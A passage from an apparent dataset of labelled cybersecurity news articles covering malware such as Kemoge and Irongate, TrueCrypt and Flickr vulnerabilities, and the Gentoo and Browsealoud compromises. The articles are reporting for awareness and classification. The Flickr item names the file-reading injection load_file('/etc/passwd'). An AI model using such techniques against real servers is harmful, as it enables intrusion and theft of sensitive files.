"SWIFT and the Central Bank of Bangladesh are working together to resolve an internal operational issue at the central bank," Belgium-based SWIFT said in a statement Friday. "SWIFT's core messaging services were not impacted by the issue and continued to work as normal."
Security experts hope that the malware sample will be made available to the security researchers soon so that they can determine whether the sample was truly advanced, or if Bangladesh Central Bank's security protection was not robust enough to prevent the hack.
The Bangladesh Bank discovered weaknesses in its systems, which could take years to repair the issues though the Federal bank has denied any system compromise.
| Malware |
TrueCrypt Encryption Software Has Two Critical Flaws: It's time to Move On | https://thehackernews.com/2015/09/truecrypt-encryption-software.html | If you are among thousands of privacy-conscious people who are still using 'no longer available' TrueCrypt Encryption Software, then you need to pay attention.
Two critical security vulnerabilities have been discovered in the most famous encryption tool, TrueCrypt, that could expose the user's data to hackers if exploited.
TrueCrypt was audited earlier this by a team of Security researchers and found to be backdoor-free.
James Forshaw, Security researcher with Google's Project Zero — which looks for zero-day exploits — has found a pair of privilege elevation flaws in TrueCrypt package.
Last year, TrueCrypt project was dropped after its mysterious developers had claimed the Windows disk-encryption software had 'unfixed security issues'.
TrueCrypt is a widely-used 'On-the-Fly' Open source Hard disk encryption program.
Reportedly, TrueCrypt vulnerabilities would not directly allow an attacker to decrypt drive data. Instead, successful exploitation allows malware installation on the victim's machine, which would be enough to figure out TrueCrypt's Decryption Key and other sensitive data.
Vulnerability Details:
Both the TrueCrypt vulnerabilities has been rated as 'Critical', tagged as:
1.) CVE-2015-7358: The first vulnerability occurs because the TrueCrypt driver lacks in properly validating the drive letter symbolic link used for mounting volumes.
As a result, an attacker can gain access to a running process and get full administrative privileges.
2.) CVE-2015-7359: Whereas, in the second vulnerability the TrueCrypt driver lacks in validating the user in the security context, exploiting which an attacker can impersonate as an authenticated user.
Researcher James Forshaw (from Google Project Zero) has not publicly announced any details about the flaws, but said on his Twitter feed that the vulnerabilities got missed in the past and could ditch the security audits and review.
If you are still relying on TrueCrypt, now is the time to move on.
Moreover, after TrueCrypt's shutdown, few of the software forks were available such as:
CipherShed
Veracrypt
Both the above-mentioned tools are also freeware and works on the ideologies they have borrowed from TrueCrypt.
Further, after the vulnerabilities were detected in TrueCrypt, Veracrypt version 1.15, an alternate On-The-Fly-Encryption (OTFE) tool patched the issues threatening its operations.
Do you think these flaws were put in intentionally?
| Vulnerability |
Google Ireland and Yahoo Domains Hijacked | https://thehackernews.com/2012/10/google-ireland-and-yahoo-domains.html | Irish websites Google.ie and Yahoo.ie went offline on Tuesday afternoon after their DNS servers were apparently hijacked to point to those of a third party, resulting in visitors being redirected to an 'allegedly fraudulent' address - farahatz.net. That site has now been taken offline, but it is not known whether the site could have been created with malicious intent.
A short note on the homepage of the IE Domain Registry said the move followed a "security incident on Tuesday 9th October, involving two high profile .ie domains that has warranted further investigation and some precautionary actions on the part of the IEDR." The IE Domain Registry have requested assistance from the Garda Bureau of Fraud Investigation.
There was an unauthorised access to one registrar's account [MarkMonitor] which resulted in the change to the DNS nameserver records for the two .ie domains. The IEDR worked with the registrar to ensure that the nameserver records were reset and corrected promptly.
Serious questions are being raised about how this breach occurred. Security experts have suggested that the login details for the IEDR registrar's console may have been 'socially engineered'
eMarkmonitor, the company which is listed as having registered google.ie on Google's behalf, is also responsible for the registration of the Irish domain names for the likes of eBay, Microsoft, Yahoo and PayPal. None of those sites appeared to have been affected.
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| Vulnerability |
Kemoge: Latest Android Malware that Can Root Your Smartphone | https://thehackernews.com/2015/10/android-malware-root.html | Google Android has been a primary concern of the attackers. Counting from a simple text message that could hack an Android phone remotely to the Stagefright bug making Billion users vulnerable.
Now, the latest is the 'Kemoge Malware' that has made its debut as an Adware on the Android mobile phones, allowing third-party app stores to fetch your device's information and take full control of it.
Security researchers from FireEye Labs have discovered that Kemoge malicious adware family is spreading in 20 countries around the globe. Also, the origin of the Adware's attack is suspected from China.
What is Kemoge?
The name given to the malicious Adware family is because of its command and control (C2) domain: aps.kemoge.net.
Kemoge is an Adware in the disguise of popular Apps; it has circulated in such numbers because it takes the name of popular apps and repackages them with the malicious code and make them available to the user.
They even use the same developer name, as used by the verified and clean apps on the official Play Store.
Some of the popular apps getting affected are:(Image)
Talking Tom 3
Calculator
Shareit
Assistive Touch
WiFi Enhancer
How does Kemoge Work?
The attacker sets up a genuine looking interface and uploads the apps to third-party app stores and plays smart by promoting the download links via websites and in-app advertisements.
Some aggressive ad networks gaining root privilege can also automatically install the samples.
Once activated on the device, Kemoge collects device information and uploads it to the ad server, then it slyly serves ads from the background.
Victims get ad banners frequently regardless of the current activity as ads even pop-up when the user remains on the Android home screen.
"Initially Kemoge is just annoying, but it soon turns evil," said FireEye researchers.
Kemoge even Affects Rooted Devices
The malicious adware injects eight root exploits to root phones, targeting a wide range of device models.
Some of the exploits are compiled from open source projects whereas some come from the commercial tool "Root Dashi" (or "Root Master").
"After gaining root, it executes root.sh to obtain persistency," FireEye researchers said. "Afterwards, it implants the AndroidRTService.apk into /system partition as Launcher0928.apk -- the filename imitates the legit launcher system service. Moreover, the package name of this apk also looks like authentic services, e.g. com.facebook.qdservice.rp.provider and com.android.provider.setting."
Moreover, the malicious system service ( Launcher0928.apk) contacts aps.kemoge.net for commands.
How does Kemoge Evade Detection?
To evade detection, Kemoge communicates with the server at various time intervals. The malware runs malicious code briefly at the first launch or 24 hours after installation.
In each enquiry, Kemoge sends the data including phone's IMEI, IMSI, storage information, and installed app information to a remote third-party server.
After uploading the device's information, the malware asks commands from the server, which reverts with a command out of following three domains and the malicious system service executes it. The commands are:
Uninstall designated applications
Launch designated applications
Download and Install applications from URLs given by server
FireEye researchers conducted their research on Nexus 7 running Android 4.3 (JellyBean). While experimenting, the server commanded the device, such that it uninstalled the legitimate apps and made the device filled with malicious codes.
How to Protect Against Kemoge?
Kemoge is a dangerous threat and to stay safe you are advised to:
Never click on any suspicious links from emails, SMS, websites, or advertisements.
Never install apps outside of the official App Store.
Keep your Android devices up-to-date in order to avoid being rooted by public known vulnerabilities (Upgrading device to the latest version of OS provides some security but doesn't always guarantee protection).
Uninstall the app showing Ads.
To know more about Kemoge, follow FireEye's official blog. Also, if you faced any such issues with your Android device, then identify the app supplying malicious Adware to you and let us know in the comment below.
| Malware |
Apple OS X Yosemite 10.10.2 Update to Patch years-old Thunderstrike vulnerability | https://thehackernews.com/2015/01/apple-osx-yosemite-thunderstrike-vulnerability.html | Apple is preparing to release the second update to OS X Yosemite in the coming days to its customers.
The upcoming beta update OS X Yosemite 10.10.2 contains a patch for the Thunderstrike vulnerability that allows malware to be injected into Macs via the Thunderbolt port.
Earlier this month, Reverse engineer Trammell Hudson revealed technical details and proof-of-concept of Thunderstrike attack.
Thunderstrike, an undetectable bootkit, works by injecting an Option ROM into a Mac's EFI. It is possible because hardware attached to a system through Thunderbolt port are not as secure as a Mac itself.
Once installed using Thunderstrike attack, the malware would be almost impossible to detect and remove.
Because the firmware used on Macs doesn't always apply to the security of attached hardware. So "Apple had to change the code to not only prevent the Mac's boot ROM from being replaced, but also to prevent it from being rolled back to a state where the attack would be possible again." developers told imore.
"According to people with access to the latest beta of OS X 10.10.2 who are familiar with Thunderstrike and how it works, that's exactly the deep, layered process that's been completed."
OS X Yosemite 10.10.2 beta also addresses the three zero-day vulnerabilities previously disclosed by Google's Project Zero.
Don't worry, patches are already on the way. OS X Yosemite 10.10.2 update has already gone out to developers and soon will be rolled out to OS X users.
| Vulnerability |
Microsoft Critical Vulnerabilities that You Must Patch Coming Tuesday | https://thehackernews.com/2014/04/microsoft-critical-vulnerabilities-that.html | On passed Thursday, Microsoft has released an advance advisory alert for upcoming Patch Tuesday which will address Remote Code Execution vulnerabilities in several Microsoft's products.
Microsoft came across a limited targeted attacks directed at their Microsoft Word 2010 because of the vulnerability in the older versions of Microsoft Word.
This Tuesday Microsoft will release Security Updates to address four major vulnerabilities, out of which two are labeled as critical and remaining two are Important to patch as the flaws are affecting various Microsoft software such as, Microsoft Office suite, Microsoft web apps, Microsoft Windows, Internet Explorer etc.
VULNERABILITY THAT YOU MUST PATCH
Google Security Team has reported a critical Remote code execution vulnerability in Microsoft Word 2010 (CVE-2014-1761) which could be exploited by an attacker to execute the malicious code remotely via a specially crafted RTF file, if opened by a user with an affected version of Microsoft Word or previewed.
The vulnerability could also be exploited if a user opened a specially crafted RTF email message in Microsoft Outlook while using Microsoft Word as the email viewer.
A specially crafted RTF file can make the system memory corrupt in such a manner that a cyber criminal could execute the arbitrary code when parsed by Microsoft Word. For successful exploitation of security flaw, Microsoft Word versions are used as email viewer in MS Outlook 2007, 2010 and 2013 as well.
In short, if an attacker successfully exploits the vulnerability, he could gain the same rights and privileges as the current user have. So, those users whose accounts are configured to already have fewer user rights on the system could be less impacted than those who operate their system with administrative user rights.
WEB-BASED ATTACK USING RTF VULNERABILITY
By exploiting the same Remote code execution vulnerability, an attacker could host a website that contains a webpage, containing a specially crafted RTF file. Moreover, the compromised websites, or the services that accept or host user-provided contents or advertisements could contain specially crafted content by the cyber criminals that could exploit this vulnerability easily.
In all cases of web-based scenario, an attacker would have to convince users to visit the compromised website, typically by getting them to click on a link provided in an email or Instant Messenger message that will take users to the attacker's website.
According to Microsoft, applying the Microsoft Fix it solution, "Disable opening RTF content in Microsoft Word," prevents the exploitation of this issue through Microsoft Word.
"We are actively working with partners in our Microsoft Active Protections Program (MAPP) to offer information that they can use to provide additional protections to customers. For information about protections released by MAPP partners, see MAPP Partners with Updated Protections."
OTHER IMPORTANT PATCHES TO INSTALL
In this update, Microsoft is again going to patch the security flaws in its weakest application i.e. Internet Explorer web browser which is listed in Bulletin 2.
Bulletin 1 and 4 are mainly concerned with Microsoft Office, whereas, Bulletin 3 will address the vulnerabilities in Windows Operating system.
LAST UPDATE FOR WINDOWS XP
8th April is the last official day for Windows XP, as well the last Patch Tuesday for it and hence is the most important patch release day for all the windows XP users.
It is highly recommended to install this patch on Tuesday to keep your operating system a bit secure. The update contains one critical and one important fix for windows XP as well.
Just three days ago, Apple released Safari 6.1.3 and Safari 7.0.3 with new security updates, addressing more than two dozen vulnerabilities in Safari web browser, including some critical ones.
| Vulnerability |
Thousands of Government Websites Hacked to Mine Cryptocurrencies | https://thehackernews.com/2018/02/cryptojacking-malware.html | There was a time when hackers simply defaced websites to get attention, then they started hijacking them to spread banking trojan and ransomware, and now the trend has shifted towards injecting scripts into sites to mine cryptocurrencies.
Thousands of government websites around the world have been found infected with a specific script that secretly forces visitors' computers to mine cryptocurrency for attackers.
The cryptocurrency mining script injection found on over 4,000 websites, including those belonging to UK's National Health Service (NHS), the Student Loan Company, and data protection watchdog Information Commissioner's Office (ICO), Queensland legislation, as well as the US government's court system.
Users who visited the hacked websites immediately had their computers' processing power hijacked, also known as cryptojacking, to mine cryptocurrency without their knowledge, potentially generating profits for the unknown hacker or group of hackers.
It turns out that hackers managed to hijack a popular third-party accessibility plugin called "Browsealoud," used by all these affected websites, and injected their cryptocurrency-mining script into its code.
Browsealoud is a popular third-party browser plugin that helps blind and partially-sighted users access the web by converting site text to audio.
The script that was inserted into the compromised Browsealoud software belongs to CoinHive—a browser-based Monero mining service that offers website administrators to earn revenue by utilizing CPU resources of visitors.
The mining software was found in more than 4,200 websites, including The City University of New York (cuny.edu), Uncle Sam's court information portal (uscourts.gov), the UK's Student Loans Company (slc.co.uk), privacy watchdog The Information Commissioner's Office (ico.org.uk) and the Financial Ombudsman Service (financial-ombudsman.org.uk), UK NHS services, Manchester.gov.uk, NHSinform.scot, agriculture.gov.ie, Croydon.gov.uk, ouh.nhs.uk, legislation.qld.gov.au, the list goes on.
The full list of affected websites can be found here.
After UK-based infosec consultant Scott Helme raised the alarm about this hack when one of his friends mentioned getting anti-virus alerts on a UK Government website, BrowseAloud's operator Texthelp took down its site to resolve the issue.
Here's what Texthelp's chief technology officer Martin McKay said in a blog post:
"In light of other recent cyber attacks all over the world, we have been preparing for such an incident for the last year. Our data security action plan was actioned straight away and was effective, the risk was mitigated for all customers within a period of four hours."
"Texthelp has in place continuously automated security tests for Browsealoud - these tests detected the modified file, and as a result, the product was taken offline."
This action eventually removed Browsealoud from all websites immediately, addressing the security issue without its customers having to take any action.
The company also assured that "no customer data has been accessed or lost," and that its customers will receive a further update as soon as the security investigation gets completed.
| Malware |
Flickr vulnerable to SQL Injection and Remote Code Execution Flaws | https://thehackernews.com/2014/04/flickr-vulnerable-to-sql-injection-and.html | Yahoo-owned Flickr, one of the biggest online photo management and sharing website in the world was recently impacted by critical web application vulnerabilities, which left website's database and server vulnerable hackers.
Ibrahim Raafat, a security researcher from Egypt has found SQL injection vulnerabilities on Flickr Photo Books, new feature for printing custom photo books through Flickr that was launched 5 months ago.
He claimed to have found two parameters (page_id , items) vulnerable to Blind SQL injection and one (i.e. order_id) Direct SQL Injection that allowed him to query the Flickr database for its content by the injection of a SQL SELECT statements.
A Successful SQL exploitation could allow an attacker to steal the Database and MYSQL administrator password.
Furthermore, Flickr's SQL injection flaws also facilitate the attacker to exploit remote code execution on the server and using load_file("/etc/passwd") function he was successfully managed to read the content from the sensitive files on the Flickr server, as shown below:
In addition to this, Ibrahim was able to write new files on the server that let him upload a custom 'code execution shell'.
Video Demonstration:
He reported the vulnerability to Yahoo which have been patched.
Update: Yahoo awarded Ibrahim Raafat with biggest bug bounty payout ever. He received $15,000 for reporting Flickr SQL injection and Remote code execution vulnerability.
| Vulnerability |
Github Account of Gentoo Linux Hacked, Code Replaced With Malware | https://thehackernews.com/2018/06/gentoo-linux-github.html | Downloaded anything from Gentoo's GitHub account yesterday?
Consider those files compromised and dump them now—as an unknown group of hackers or an individual managed to gain access to the GitHub account of the Gentoo Linux distribution on Thursday and replaced the original source code with a malicious one.
Gentoo is a free open source Linux or FreeBSD-based distribution built using the Portage package management system that makes it more flexible, easier to maintain, and portable compared to other operating systems.
In a security alert released on its website yesterday, developers of the Gentoo Linux distribution warned users not to use code from its GitHub account, as some "unknown individuals" had gained its control on 28 June at 20:20 UTC and "modified the content of repositories as well as pages there."
According to Gentoo developer Francisco Blas Izquierdo Riera, after gaining control of the Gentoo Github organization, the attackers "replaced the portage and musl-dev trees with malicious versions of the ebuilds intended to try removing all of your files."
Ebuild are bash scripts, a format created by the Gentoo Linux project, which automates compilation and installation procedures for software packages, helping the project with its portage software management system.
"We are still working to determine the exact extent and to regain control of the organization and its repositories. All Gentoo code hosted on GitHub should for the moment be considered compromised," the alert said.
However, Gentoo assured its users that the incident did not affect any code hosted on the Gentoo's official website or the mirror download servers and that users would be fine as long as they are using rsync or webrsync from gentoo.org.
This is because the master Gentoo ebuild repository is hosted on its own official portal and Github is just a mirror for it.
"Also, the gentoo-mirror repositories including metadata are hosted under a separate Github organisation and likely not affected as well. All Gentoo commits are signed, and you should verify the integrity of the signatures when using git," the developer said.
In an update later on its website, the organisation said it has regained control of the Gentoo Github Organization, but advised users to continue to refrain from using code from its Github account, as they are still working with Github, which was recently acquired by Microsoft for US$7.5 billion, on establishing a timeline of what happened.
If you are the one who have downloaded Gentoo Linux images from GitHub instead of its official website, you are highly recommend to backup your content and reinstall the OS from scratch.
| Malware |
Nation-State Hackers Caught Hiding Espionage Activities Behind Crypto Miners | https://thehackernews.com/2020/12/nation-state-hackers-caught-hiding.html | A nation-state actor known for its cyber espionage campaigns since 2012 is now using coin miner techniques to stay under the radar and establish persistence on victim systems, according to new research.
Attributing the shift to a threat actor tracked as Bismuth, Microsoft's Microsoft 365 Defender Threat Intelligence Team said the group deployed Monero coin miners in attacks that targeted both the private sector and government institutions in France and Vietnam between July and August earlier this year.
"The coin miners also allowed Bismuth to hide its more nefarious activities behind threats that may be perceived to be less alarming because they're 'commodity' malware," the researchers said in an analysis published yesterday.
The primary victims of the attack have been traced to state-owned enterprises in Vietnam and entities with ties to a Vietnamese government agency.
The Windows maker likened Bismuth to OceanLotus (or APT32), linking it to spyware attacks using both custom and open-source toolsets to target large multinational corporations, governments, financial services, educational institutions, and human and civil rights organizations.
The development comes as OceanLotus was found leveraging a new macOS backdoor that enables the attackers to snoop on and steals confidential information and sensitive business documents from infected machines.
Using Coin Miners to Blend In
Although the group's espionage and exfiltration tactics have essentially remained the same, the inclusion of coin miners in their arsenal points to a fresh way to monetize compromised networks, not to mention a crafty means of blending in and evading detection for as long as possible.
The idea is to buy time to move laterally and infect high-value targets like servers for further propagation.
To achieve this, tailored spear-phishing emails written in Vietnamese were crafted to specific recipients in a target organization, and in some cases, the threat actor even established correspondence with the targets in a bid to increase the chances of opening the malicious document embedded in the emails and trigger the infection chain.
A separate technique involved the use of DLL side-loading, wherein a legitimate library is replaced with a malicious variant, utilizing outdated versions of legitimate software such as Microsoft Defender Antivirus, Sysinternals DebugView, and Microsoft Word 2007 to load rogue DLL files and establish a persistent command-and-control (C2) channel to the compromised device and the network.
The newly established channel was then used to drop a number of next-stage payloads, including tools for network scanning, credential theft, Monero coin mining, and conducting reconnaissance, the results of which were transmitted back to the server in the form of a ".csv" file.
Hiding in Plain Sight
"Bismuth attacks put strong emphasis on hiding in plain sight by blending in with normal network activity or common threats that attackers anticipate will get low-priority attention," Microsoft said.
"The combination of social engineering and use of legitimate applications to sideload malicious DLLs entail multiple layers of protection focused on stopping threats at the earliest possible stage and mitigating the progression of attacks if they manage to slip through."
It's recommended that businesses limit the attack surface used to gain initial access by beefing up email filtering and firewall settings, enforce credential hygiene, and turn on multi-factor authentication.
| Cyber_Attack |
Billions of Windows Users Affects with Java Vulnerability | https://thehackernews.com/2012/09/billions-of-windows-users-affects-with.html | Researchers at Security Explorations disclosed a new vulnerability in Java that could provide an attacker with control of a victim's computer. The researchers have confirmed that Java SE 5 – Update 22, Java SE 6 – Update 35, and Java SE 7 Update 7 running on fully patched Windows 7 32-bit operating systems are susceptible to the attack.
This Flaw allowing a malicious hackers to gain complete control of a victim's machine through a rigged website. The affected web browsers are Safari 5.1.7, Opera 12.02, Chrome 21.0.1180.89, Firefox 15.0.1, and Internet Explorer 9.0.8112.16421.
Though Oracle released a fix for the most critical vulnerabilities reported by Security Explorations on August 30th, the security firm quickly found another flaw in that fix that would allow a hacker to bypass the patch. That bug in Oracle's patch still hasn't been patched, leaving users vulnerable to both the new flaw and the previous attack.
"We hope that news about one billion users of Oracle Java SE software being vulnerable to yet another security flaw is not gonna spoil the taste of Larry Ellison's morning Java," Gowdiak wrote.
| Vulnerability |
Suspected Hacker arrested for World's Biggest DDoS attack against Spamhaus | https://thehackernews.com/2013/04/suspected-hacker-arrested-for-worlds.html | The Dutch police have confirmed the arrest of a 35-year-old man suspected of taking part in a massive DDoS attack against the anti-spam group Spamhaus back in March. The attack's bandwidth peaked at over 300Gbps, making it the largest DDoS attack in history. Their target, Spamhaus, is a company which creates blacklists of spam sites and sells them to Internet Service Providers.
Spamhaus was attacked with DDOS and the website overcrowded with traffic and went offline. Later CloudFlare was hired by Spamhaus to protect against such attacks. The suspect was arrested by Spanish authorities in Barcelona based on a European arrest warrant and is expected to be transferred to the Netherlands soon.
The man arrested is believed to be Sven Kamphuis, the owner and manager of Dutch hosting firm Cyberbunker that has been implicated in the attack. This DDoS attack was believed to have been sparked when Spamhaus placed CyberBunker on its spam blacklist.
Cyberbunker is a Dutch company based in a former nuclear bunker that provides anonymous hosting of anything except terrorist or child pornography websites.
"Spamhaus is delighted at the news that an individual has been arrested and is grateful to the Dutch police for the resources they have made available and the way they have worked with us," said a Spamhaus spokesman.
The investigation was conducted in the Netherlands by the High Tech Crime Team and at the request of the National Prosecutor in Barcelona, the suspect's house was searched and authorities seized mobile phones, data carriers and computers from the property.
| Cyber_Attack |
Irongate — New Stuxnet-like Malware Targets Industrial Control Systems | https://thehackernews.com/2016/06/irongate-stuxnet-malware.html | Security researchers have discovered a sophisticated piece of malware that uses tricks from the Stuxnet sabotage malware and is specifically designed to target industrial control systems (ICS) and supervisory control and data acquisition (SCADA) systems.
Researchers at the security firm FireEye Labs Advanced Reverse Engineering said on Thursday that the malware, dubbed "IRONGATE," affects Siemens industrial control systems.
The malware only works in a simulated environment and is probably just a proof-of-concept that is likely not used in wild; therefore is not yet advanced enough to impact real-world systems.
The Irongate malware "is not viable against operational Siemens control systems," the cybersecurity firm said in its blog post, and the malware "does not exploit any vulnerabilities in Siemens products."
The researchers found this malware fascinating due to its mode of operation that included some Stuxnet-like behavior.
The Stuxnet sabotage malware was allegedly developed by the United States and Israel to disrupt Iran's nuclear facility and destroyed a several country's uranium enrichment centrifuges.
Just like Stuxnet, Irongate uses a Man-in-the-Middle (MitM) technique to inject itself between the PLC (Programmable Logic Controller) and the legitimate software monitoring process, checks for defenses before detonating, as well as mask its tracks.
Moreover, to achieve this MitM, like Stuxnet, Irongate replaces a valid Dynamic Link Library (DLL) file with a malicious copy, potentially allowing the malware to target a particular control system configuration.
DLL is a small piece of code that can be used by different programs at the same time.
However, the researchers note that Irongate doesn't compare to Stuxnet in terms of complexity, ability to propagate, or geopolitical implications.
Moreover, Irongate differs from Stuxnet in the way it avoids detection. While Stuxnet only looked for the presence of various antivirus software on the target systems, Irongate looks for sandbox environments such as VMWare and Cuckoo Sandbox.
FireEye says the firm detected several versions of Irongate on malware database VirusTotal in the second half of 2015, but researchers managed to track down two malware samples to September 2014.
The research team doesn't think that Irongate is written by the Stuxnet's authors, as Irongate is not the type of sophistication one would expect from a nation state.
FireEye says Irongate could be a proof-of-concept, a research project, or just a test, which is why the firm went public with the details in order to find out more about the malware sample.
But the question still remains: Who did write Irongate?
| Malware |
Russian Hackers Manipulate Ruble-Dollar Exchange Rate with Malware | https://thehackernews.com/2016/02/russian-exchange-hacked.html | Russian Group of Hackers reportedly cracked into the Kazan-based Energobank and messed up with the Ruble-Dollar exchange rates.
In Feb 2015, a hacking group, known by the name METEL, successfully breached into the Russian Regional Bank for just 14 minutes and caused the exchange rate to fluctuate between 55 and 66 rubles per dollar, which finally resulted in the increment of Ruble's value.
Here's how they did it:
According to Russian security firm, Group-IB, who investigated the incident, the Metel Hacking group infected Kazan-based Energobank with a virus known as the Corkow Trojan and placed more than $500 million in orders at non-market rates.
"This is the first documented attack using this virus, and it has the potential to do much more damage," Dmitry Volkov, the head of Group-IB's cyber intelligence department, told Bloomberg.
The hackers had taken the advantage of Spear Phishing Technique, which appears to come from a legit source. A single click on the link in the malicious mail took over the access to the system followed by ultimate exploitation.
After gaining the access to a local system, the trojan was able to cause a havoc deepening the attack to its Intranet. This way, the malware named Corkow found the isolated system which handles the money transaction exclusively to the outer world.
Corkow malware, initially discovered in 2011, regularly updates itself to evade detection by antivirus programs, and has infiltrated more than 250,000 computers worldwide and infected at least 100 financial institutions.
Bank lost 244 Million Rubles ($3.2 million)
The Energobank claimed losses of 244 million rubles ($3.2 million) due to the trades.
But, the Moscow Exchange had denied the allegations of any hacking attempt by the fact that; the changes in the Stock Market would be an output of Trader's mistakes. They also not found any hint of currency manipulation.
The attack was earlier ported to target ATMs of Russia, affecting Russian bank card system that resulted in hundreds of millions of rubles being stolen via ATMs in August. Another attack with the same malware also facilitated hackers to use credit card limitlessly.
Metel is only known to be active in Russia (affected 73% Russian Banks), although it may present a threat to financial institutions across the globe.
Authority has not yet handcuffed any of its criminals who are raising a global bank threat.
| Malware |
Vulnerability in Hotel WiFi Network Exposes You to Hackers | https://thehackernews.com/2015/03/hacking-hotel-wifi-network.html | There is no end to users problem when it comes to security. Everything is easily hackable — from home wireless routers to the large web servers that leak users' personal data into the world in one shot.
If you love to travel and move hotels to hotels, then you might be dependent on free Wi-Fi network to access the Internet. However, next time you need to be extra cautious before connecting to Hotel's Wi-Fi network, as it may expose you to hackers.
Security researchers have unearthed a critical flaw in routers that many hotel chains depend on for distributing Wi-Fi networks.
The security vulnerability could allow a hacker to infect guests with malware, steal or monitor personal data sent over the network, and even gain access to the hotel's keycard systems and reservation.
HACKING GUEST WIFI ROUTER
Several models of InnGate routers manufactured by ANTlabs, a Singapore firm, have a security weakness in the authentication mechanism of the firmware.
The security vulnerability (CVE-2015-0932), discovered by the security firm Cylance, gives hackers direct access to the root file system of ANTlabs's InnGate devices.
With root access, hackers could be able to read or write any files from or to the devices' file system respectively, including data that could be used to infect the devices of Wi-Fi users.
Researchers have found nearly 277 hotels, convention centers, and data centers across 29 countries that are affected by this security vulnerability. Although, the number could be much larger as the flaw has potential to impact Millions of users who gets on the hotel's network for free Wi-Fi access.
However, the security researchers found more than 100 vulnerable devices located in the United States, 35 devices in Singapore, 16 in the UK, and 11 in the United Arab Emirates.
Justin W. Clarke, a senior security researcher of the Cylance SPEAR (Sophisticated Penetration Exploitation and Research) team, says the vulnerability also gives the attacker access to a computer owned by the operating organization.
THE VULNERABILITY GETS WORSE
In some cases, researchers found the InnGate devices were configured to communicate with a Property Management Systems (PMS). This could also be leveraged to gain deeper access into a hotel's business network, allowing a hacker to identify guests and upcoming guests at a hotel and their room number.
Moreover, PMS is often integrated with the phone system, POS (point-of-sale) system for processing credit card transactions, as well as electronic keycard system for accessing doors to guest rooms at hotels.
So, this vulnerability could also potentially allow an attacker to access and exploit these hotel's systems.
"In cases where an (ANTlabs) InnGate device stores credentials to the PMS, an attacker could potentially gain full access to the PMS (Property Management Systems) itself," the researchers wrote in a blog post published Thursday.
HOW THE VULNERABILITY WORKS?
The flaw lies in an unauthenticated Rsync daemon running on TCP 873 used by the ANTlabs devices. The Rsync daemon is an extraordinarily versatile file copying tool widely used to backup file systems as it can automatically copy files from one location to another.
The Rsync daemon can be password-protected, but the ANTlabs device that uses it requires no authentication.
Once hackers have connected to the Rsync daemon, they are then able to read and/or write to the file system of the Linux-based operating system without any restrictions.
Due the widespread nature of the vulnerability, ANTlabs has rolled out a patch addressing CVE-2015-0932 with an alert about the critical flaw being issued by US-CERT.
This isn't first time when researchers have discovered this kind of attack targeting guests at Hotels, late last year Kaspersky Labs uncovered a hacking campaign, dubbed DarkHotel, targeting guests at five-star hotels in Asia and the US by subverting their Wi-Fi system.
| Vulnerability |
Alibaba Marketplace Vulnerability Puts Millions Of Shoppers at Risk | https://thehackernews.com/2014/12/alibaba-aliexpress-vulnerability.html | Alibaba Group has patched a major security vulnerability in one of its e-commerce portals that exposed account details of tens of millions of Merchants and shoppers to cyber criminals.
An Israeli application security firm, AppSec Labs, found a Cross site scripting (XSS) vulnerability in AliExpress, the company's English language e-commerce site that was found vulnerable to similar flaw a week ago that compromised personal information of Alibaba customers. The flaw was fixed shortly after Cybermoon security firm disclosed it to Alibaba.
AliExpress is an online marketplace owned by Chinese E-Commerce giant Alibaba.com, also known as Google of China. The company serves more than 300 Million active users from more than 200 countries including the U.S., Russia and Brazil. But the critical vulnerability found by the researcher could allow an attacker to hijack merchant's account.
Using AliExpress XSS vulnerability an attacker can inject any malicious payload script as value into the message parameter, and when the seller will browse to the message center in AliExpress website using his account, the malicious script will be executed on his browser. XSS Payload can be lead to several attacks such as perform actions on behalf of a seller, phishing attacks, steal the victim's sessions identifier, etc.
The vulnerability was discovered by Barak Tawily, a 21 year old Application security researcher at AppSec Labs. Exploiting the vulnerability allowed him to change product prices, delete goods, and even close the merchant's shop on the site.
Barak has also provided a Proof-of-Concept (PoC) video to The Hacker News via an email, explaining the full hack attack on AliExpress website, which you can watch below:
"Skilled hacker might exploit this vulnerability and perform ranged attack by sending malicious messages to all AliExpress sellers and will cause a huge damage to AliExpress website," Tawily said.
AppSec Labs immediately reported the vulnerability to the the Chinese e-commerce giant, Alibaba team through emails and phone calls, providing full details of the flaw. The company didn't respond immediately, but last week, when AppSec Labs spoke to the Israeli media about the issue, Alibaba contacted the security firm.
VIDEO DEMO
The vulnerability has now been patched by the company and it is urging its customers to update their accounts immediately.
ALIBABA RESPONSE
"We are aware of the issue and took immediate steps to assess and remedy the situation," said Candice Huang, manager of International Corporate Affairs for Alibaba Group. "We have already closed the potential vulnerability and we will continue to closely monitor the situation. The security and privacy of our customers is our highest priority and we will do everything we can to continue to ensure a secure trading environment on our platforms."
| Vulnerability |
Hacker reported vulnerability in Kaspersky website; Demonstrated malware spreading technique | https://thehackernews.com/2013/08/hacker-reported-vulnerability-in.html | The cyber Security Analyst 'Ebrahim Hegazy' (@Zigoo0) Consultant at Q-CERT has found an "Unvalidated Redirection Vulnerability" in the website of the giant security solutions vendor "Kaspersky".
Ebrahim, who found a SQL Injection in "Avira" website last month, this time he found a Unvalidated Redirection Vulnerability that could be exploited for various purposes such as:
Cloned websites (Phishing pages)
It could also be used by Black Hats for Malware spreading
In the specific case what is very striking is that the link usable for the attacks is originated by a security firm like Kaspersky with serious consequences.
Would you trust a link from your security vendor? Absolutely Yes! But imagine your security vendor is asking you to download a malware!
To explain how dangerous the situation is when your security vendor is vulnerable, Ebrahim Hegazy sent me a video explaining the malware spreading scenario to simulate a Black Hat's exploiting Unvalidated Redirection Vulnerability in Kaspersky website to serve a malware.
"Since I'm working on Cyber security analysis, I've seen many methods of black-hats to spread links, maybe this link is for Exploit kits, Java Applet, flash exploits, or maybe a direct link to their EXE file. Let's take an example on the Facebook spreading techniques of the attackers, you may notice that "Mediafire" website was used lately in wide Malware spreading attack on Facebook.com,Which caused a wide infection, as the infected user will start to send links from Mediafire.com to his friends and since "Mediafire" is a trusted website/source for users so they simply click it and download the file!
But what if the links are coming from a very well known Security solutions vendor such as Kaspersky? For sure people will trust the links. So, through "Unvalidated Redirection Vulnerability" in Kaspersky, attackers will be able to spread a link coming from Kaspersky.com but when the user clicks on that link, he will get redirected to the attacker's website which would download at Malware on their machines or even download a "Rogue Antivirus" to steal financial information such as credit card information!" explained Ebrahim Hegazy.
After the researcher reported the vulnerability to Kaspersky team, it took about 2 months to fix the vulnerability, it is really a long time considering that if a hacker had found this flaw before Hagazy he could spread links using Kaspersky.com.
The consequences of unfixing of such vulnerability are critical
Wide infection - since the redirection is coming from a trusted source especially if the attacker registered a domain name similar to Kaspersky.com
Very bad reputation for Kaspersky company.
